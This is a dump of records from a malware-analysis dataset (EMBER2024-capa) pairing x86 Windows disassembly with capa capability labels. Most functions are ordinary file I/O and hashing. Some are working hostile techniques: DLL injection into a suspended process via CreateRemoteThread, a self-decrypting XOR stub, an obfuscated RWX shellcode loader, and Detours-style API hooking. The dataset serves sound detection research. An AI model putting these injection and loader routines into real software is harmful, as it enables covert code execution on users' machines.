joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402df0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
push esi
mov esi, dword [ebp + 0xc]
test eax, eax
jg 0x402e1c
jl 0x402e10
test esi, esi
jne 0x402e1c
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x402e35
push eax
push esi
push ecx
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, esi
mov dword [ebp - 4], esi
mov edx, dword [eax]
test edx, edx
je 0x402e75
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x402e75
mov edi, dword [ebp + 0xc]
cmp eax, edi
cmovb esi, eax
push esi
push edx
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [ebp - 8], esi
add esp, 0xc
mov dword [ebp - 4], edi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp + 0xc]
cmp dword [ebx + 0x4c], 0
je 0x402f2c
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x402ea0
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov eax, dword [ebp - 4]
mov edx, eax
mov ecx, dword [ebp - 8]
cmp eax, 0xfff
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov dword [ebp - 4], edx
jbe 0x402eef
nop word [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push ecx
call eax
mov ecx, dword [ebp - 8]
sub edi, eax
add ecx, eax
mov dword [ebp - 4], edi
add esp, 0x10
mov dword [ebp - 8], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x402f19
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x402ec0
cmp dword [ebp - 4], 0
jbe 0x402f2f
push dword [ebx + 0x4c]
push edi
push 1
push ecx
call eax
mov edx, dword [ebp - 4]
add esp, 0x10
sub edx, eax
sub esi, edx
mov edx, dword [ebp + 0x10]
mov eax, esi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp + 0x10]
sub esi, edi
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp - 4]
sub esi, edx
mov edx, dword [ebp + 0x10]
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4032a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x414008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x4032d0
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e581
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x403300
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x403300
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e581
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x4033d5
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x403329
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x403335
movsx eax, bl
jmp 0x40336c
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x4033d5
cmp eax, 1
jle 0x403396
cmp eax, 3
jne 0x4033d5
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e581
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x4033b4
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x4033d5
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x4033d5
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e581
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040e581
mov esp, ebp
pop ebp
ret 4

Function at 0x4035a0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x4035d1
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x4035c0
pop edi
mov eax, edx
pop esi
pop ebp
ret 8
Function at 0x403b90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x414008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x403c4c
cmp byte [esi + 0x3d], 0
je 0x403c4c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x403c3a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x403c01
sub eax, 1
je 0x403c05
sub eax, 2
jne 0x403c3a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e581
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x403c23
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x403c3a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e581
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e581
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.0040e581
mov esp, ebp
pop ebp
ret
Function at 0x40e2d0
Capabilities:
Create process on windows
Create process suspended
Create thread
Inject thread
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x164
mov eax, dword [0x414008]
xor eax, esp
mov dword [esp + 0x160], eax
mov eax, dword [ebp + 0xc]
xorps xmm0, xmm0
push ebx
push esi
push edi
push str.game
mov dword [esp + 0x10], eax
lea eax, [esp + 0x6c]
push pe_nt_image_headers32
push eax
movlpd qword [esp + 0x30], xmm0
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x40], xmm0
movlpd qword [esp + 0x48], xmm0
movlpd qword [esp + 0x50], xmm0
movlpd qword [esp + 0x58], xmm0
movlpd qword [esp + 0x60], xmm0
movlpd qword [esp + 0x68], xmm0
mov dword [esp + 0x2c], 0x44
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov ebx, dword [ebp + 8]
mov esi, 1
add esp, 0xc
cmp ebx, esi
jle 0x40e38f
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
nop dword [eax]
push 0x4108e0
lea eax, [esp + 0x6c]
push pe_nt_image_headers32
push eax
call edi
mov eax, dword [esp + 0x18]
add esp, 0xc
push dword [eax + esi*4]
lea eax, [esp + 0x6c]
push pe_nt_image_headers32
push eax
call edi
inc esi
add esp, 0xc
cmp esi, ebx
jl 0x40e360
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x24]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea eax, [esp + 0x88]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [esp + 0x10]
call fcn.0040d710
mov edi, dword [esp + 0x10]
push 4
push 0x3000
push 0xf
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push 0xf
push str.tgm3_input.dll
mov esi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0
push 0
push esi
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
push edi
call ebx
mov edi, dword [esp + 0x10]
push 4
push 0x3000
push 0xd
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push 0xd
push str.typex_io.dll
mov esi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push esi
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
push edi
call ebx
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [esp + 0x16c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040e581
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x100017c1
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push edi
push 0x14
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
je 0x1000185c
push str.jvm.dll
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x100017f3
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor eax, eax
jmp 0x1000185e
push esi
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.JVM_DTraceGetVersion
push ebx
call esi
push str.JVM_DTraceIsSupported
push ebx
mov dword [edi], eax
call esi
push str.JVM_DTraceActivate
push ebx
mov dword [edi + 4], eax
call esi
push str.JVM_DTraceDispose
push ebx
mov dword [edi + 8], eax
call esi
push str.JVM_DTraceIsProbeEnabled
push ebx
mov dword [edi + 0xc], eax
call esi
push ebx
mov dword [edi + 0x10], eax
call dword [sym.imp.kernel32.dll_FreeLibrary]
xor esi, esi
cmp dword [edi], esi
je 0x10001851
cmp dword [edi + 4], esi
je 0x10001851
cmp dword [edi + 8], esi
je 0x10001851
cmp dword [edi + 0xc], esi
je 0x10001851
cmp dword [edi + 0x10], esi
jne 0x1000185b
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
mov edi, esi
pop esi
mov eax, edi
pop edi
pop ebx
ret

Function at 0x100022cf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x100022de
pop dword [ebp - 0x18]
mov eax, 0x1c8638c1
add eax, 0xf379ea1d
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x85930072
add dword [ebp - 0x28], 0xc8bf44d9
mov dword [ebp - 0x24], 0x18beb8a2
sub dword [ebp - 0x24], 0xe68b6c5d
mov dword [ebp - 0x20], 0xf5d5eb7c
sub dword [ebp - 0x20], 0xa989a74e
mov dword [ebp - 0x1c], 0x4c39195f
add dword [ebp - 0x1c], 0xb3c6e6a1
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x188dfb40
sub dword [ebp - 0x28], 0xa41b91ea
mov dword [ebp - 0x24], 0x563b975c
add dword [ebp - 0x24], 0xeb30ca19
mov dword [ebp - 0x20], 0x9f6d1806
sub dword [ebp - 0x20], 0x3bfdab9a
mov dword [ebp - 0x1c], 0xd21d491a
add dword [ebp - 0x1c], 0x2de2b6e6
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xe82ea836
add eax, 0x27d187d2
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x37b96
push 0
call eax
mov ecx, 0x5d5535a3
add ecx, 0xa2ab1750
xor ebx, ebx
add ebx, eax
mov esi, 0xa8d00e10
add esi, 0x673053f0
add esi, dword [ebp - 0x18]
mov edi, 0x167cefa5
add edi, 0x3ec2e012
sub dword [ebp - 0xc], 0x9eda9011
mov edx, dword [esi]
add edx, edi
xor dword [ebp - 4], edx
mov dword [ebx], edx
sub dword [ebp - 8], ebx
add ebx, 4
add esi, 0xafa3c67d
add esi, 0x505c3987
loop 0x100023fd
add eax, 0x1269f
mov ebx, eax
add eax, 0x8731c6
add eax, 0xff78ce3f
mov ecx, 0x92234836
sub ecx, 0x82234836
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x10002f60
Capabilities:
Print debug messages
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x10054010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0xc]
test esi, esi
je 0x10002fe8
push 0
lea eax, [ebp - 0x408]
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10002fb8
add edi, dword [ebp - 0x408]
sub esi, dword [ebp - 0x408]
jne 0x10002f83
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100093a1
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x408]
lea eax, [ebp - 0x404]
push 0
push str.writeDataToPipe:_WriteFile_failed:_success___d__numWritten___d__GetLastError___d
push eax
call fcn.100030f0
add esp, 0x14
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100093a1
mov esp, ebp
pop ebp
ret

Function at 0x100031a0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x10054010]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x408]
push esi
mov esi, dword [ebp + 8]
push 2
push 0
push 0
push ecx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x10003213
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x404]
push 0x10049380
push eax
call fcn.100030f0
add esp, 0xc
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100093a1
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x408]
push 4
mov dword [ebp - 0x40c], eax
lea eax, [ebp - 0x40c]
push eax
push 0x10049370
push esi
call fcn.100080e0
mov ecx, dword [ebp - 4]
dec eax
neg eax
pop esi
sbb eax, eax
xor ecx, ebp
inc eax
call fcn.100093a1
mov esp, ebp
pop ebp
ret
Function at 0x10003b70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
sub esp, 0x1c
add ecx, 0xffff0000
movzx eax, cx
push ebx
push esi
mov esi, ecx
sub esi, eax
test eax, eax
push edi
mov edi, dword [ebp + 8]
cmove esi, ecx
cmp esi, edi
jbe 0x10003c1f
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
cmp esi, dword [section..data]
jb 0x10003bb8
cmp esi, dword [0x10054004]
ja 0x10003bb8
sub esi, 0x8000000
jmp 0x10003c1b
push 0x1c
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 0
xorps xmm0, xmm0
push eax
push esi
movups xmmword [ebp - 0x1c], xmm0
movq qword [ebp - 0xc], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x10003c1f
cmp dword [ebp - 0xc], 0x10000
jne 0x10003c09
cmp dword [ebp - 0x10], 0x10000
jb 0x10003c09
push 0x40
push 0x3000
push 0x10000
push esi
call ebx
test eax, eax
jne 0x10003c21
sub esi, 0x10000
jmp 0x10003c1b
mov esi, dword [ebp - 0x18]
add esi, 0xffff0000
movzx eax, si
test eax, eax
je 0x10003c1b
sub esi, eax
cmp esi, edi
ja 0x10003ba0
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10003c30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [ebp + 8]
movzx eax, si
push edi
test eax, eax
je 0x10003c4b
sub esi, eax
add esi, 0x10000
mov edi, dword [ebp + 0xc]
cmp esi, edi
jae 0x10003ce8
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop dword [eax]
cmp esi, dword [section..data]
jb 0x10003c78
cmp esi, dword [0x10054004]
ja 0x10003c78
add esi, 0x8000000
jmp 0x10003ce0
push 0x1c
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 0
xorps xmm0, xmm0
push eax
push esi
movups xmmword [ebp - 0x1c], xmm0
movq qword [ebp - 0xc], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x10003ce8
cmp dword [ebp - 0xc], 0x10000
mov ecx, dword [ebp - 0x10]
jne 0x10003ccb
cmp ecx, 0x10000
jb 0x10003ccb
push 0x40
push 0x3000
push 0x10000
push esi
call ebx
test eax, eax
jne 0x10003cea
add esi, 0x10000
jmp 0x10003ce0
mov esi, dword [ebp - 0x1c]
add esi, ecx
movzx ecx, si
test ecx, ecx
je 0x10003ce0
mov eax, 0x10000
sub eax, ecx
add esi, eax
cmp esi, edi
jb 0x10003c60
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003d40
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push edi
push eax
lea eax, [ebp - 8]
push eax
push esi
call fcn.10003f00
mov eax, dword [0x10056b40]
add esp, 0xc
mov edi, dword [ebp - 4]
mov ebx, dword [ebp - 8]
mov ecx, dword [0x10056b3c]
test eax, eax
jne 0x10003d7d
test ecx, ecx
je 0x10003d90
mov eax, ecx
mov dword [0x10056b40], eax
mov edx, dword [eax + 8]
test edx, edx
je 0x10003d90
cmp edx, ebx
jb 0x10003d90
cmp edx, edi
jbe 0x10003e20
mov eax, ecx
mov dword [0x10056b40], eax
test ecx, ecx
je 0x10003dba
test eax, eax
je 0x10003dae
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x10003dae
cmp ecx, ebx
jb 0x10003dae
cmp ecx, edi
jbe 0x10003e20
mov eax, dword [eax + 4]
mov dword [0x10056b40], eax
test eax, eax
jne 0x10003d9f
and esi, 0xffff0000
push esi
push ebx
call fcn.10003b70
add esp, 8
test eax, eax
jne 0x10003ddc
push edi
push esi
call fcn.10003c30
add esp, 8
test eax, eax
je 0x10003e4a
mov dword [eax], 0x52727464
xor edx, edx
mov dword [eax + 8], 0
mov esi, 0x38b
mov ecx, dword [0x10056b3c]
mov dword [eax + 4], ecx
lea ecx, [eax + 0xffa8]
mov dword [0x10056b40], eax
mov dword [0x10056b3c], eax
nop dword [eax]
mov dword [ecx + 0x40], edx
mov edx, ecx
sub ecx, 0x48
sub esi, 1
jne 0x10003e10
mov dword [eax + 8], edx
mov esi, dword [eax + 8]
cmp esi, ebx
jb 0x10003e4a
cmp esi, edi
ja 0x10003e4a
mov ecx, dword [esi + 0x40]
push 0x48
push 0xcc
push esi
mov dword [eax + 8], ecx
call fcn.1000bc40
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10003fc0
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov ecx, dword [0x10056b3c]
push ebx
mov ebx, 0x10056b3c
test ecx, ecx
je 0x1000402c
push esi
push edi
cmp dword [ecx], 0x52727464
jne 0x10004021
lea edi, [ecx + 0x10000]
xor edx, edx
lea esi, [ecx + 0x88]
mov eax, dword [esi]
test eax, eax
je 0x10003ff6
cmp eax, ecx
jb 0x10004021
cmp eax, edi
jae 0x10004021
inc edx
add esi, 0x48
cmp edx, 0x38d
jb 0x10003fe8
mov eax, dword [ecx + 4]
push 0x8000
push 0
push ecx
mov dword [ebx], eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x10056b40], 0
jmp 0x10004024
lea ebx, [ecx + 4]
mov ecx, dword [ebx]
test ecx, ecx
jne 0x10003fd2
pop edi
pop esi
pop ebx
ret
Function at 0x10004250
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10051f68
push 0x1000bde0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x10054010]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
push 0x1c
lea eax, [ebp - 0x34]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov dword [ebp - 4], 0
mov eax, 0x5a4d
mov ecx, dword [ebp - 0x30]
cmp word [ecx], ax
jne 0x10004302
mov edx, dword [ecx + 0x3c]
cmp dword [edx + ecx], 0x4550
jne 0x10004302
mov esi, dword [edx + ecx + 0xd8]
lea eax, [esi + ecx]
cmp dword [ebp + 0xc], eax
jb 0x10004302
mov eax, dword [edx + ecx + 0xdc]
add eax, esi
add eax, ecx
cmp dword [ebp + 0xc], eax
jae 0x10004302
mov dword [ebp - 4], 0xfffffffe
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0xfffffffe
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10004450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [0x10056b3c]
push edi
test esi, esi
je 0x1000447f
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 0x10000
push esi
call edi
test eax, eax
je 0x10004487
mov esi, dword [esi + 4]
test esi, esi
jne 0x10004466
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10004bc0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x10056b28], eax
je 0x10004bdb
mov eax, 0x10dd
mov esp, ebp
pop ebp
ret
push ebx
push esi
mov esi, dword [0x10056b38]
push edi
test esi, esi
je 0x10004c45
lea eax, [ebp - 4]
push eax
mov eax, dword [esi + 0x10]
push dword [esi + 0x14]
movzx eax, byte [eax + 0x36]
push eax
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp dword [esi + 4], 0
jne 0x10004c32
mov ebx, dword [esi + 0x10]
test ebx, ebx
je 0x10004c32
push 0x48
push 0
mov edi, ebx
push ebx
and edi, 0xffff0000
call fcn.1000bc40
mov eax, dword [edi + 8]
add esp, 0xc
mov dword [ebx + 0x40], eax
mov dword [edi + 8], ebx
mov dword [esi + 0x10], 0
mov edi, dword [esi]
push 0x18
push esi
call fcn.100093b2
add esp, 8
mov esi, edi
test edi, edi
jne 0x10004be8
mov dword [0x10056b38], 0
call fcn.10004370
mov edi, dword [0x10056b34]
test edi, edi
je 0x10004c7c
mov ebx, dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [edi + 4]
call ebx
mov esi, dword [edi]
push 8
push edi
call fcn.100093b2
add esp, 8
mov edi, esi
test esi, esi
jne 0x10004c64
pop edi
pop esi
mov dword [0x10056b34], 0
xor eax, eax
mov dword [0x10056b28], 0
pop ebx
mov esp, ebp
pop ebp
ret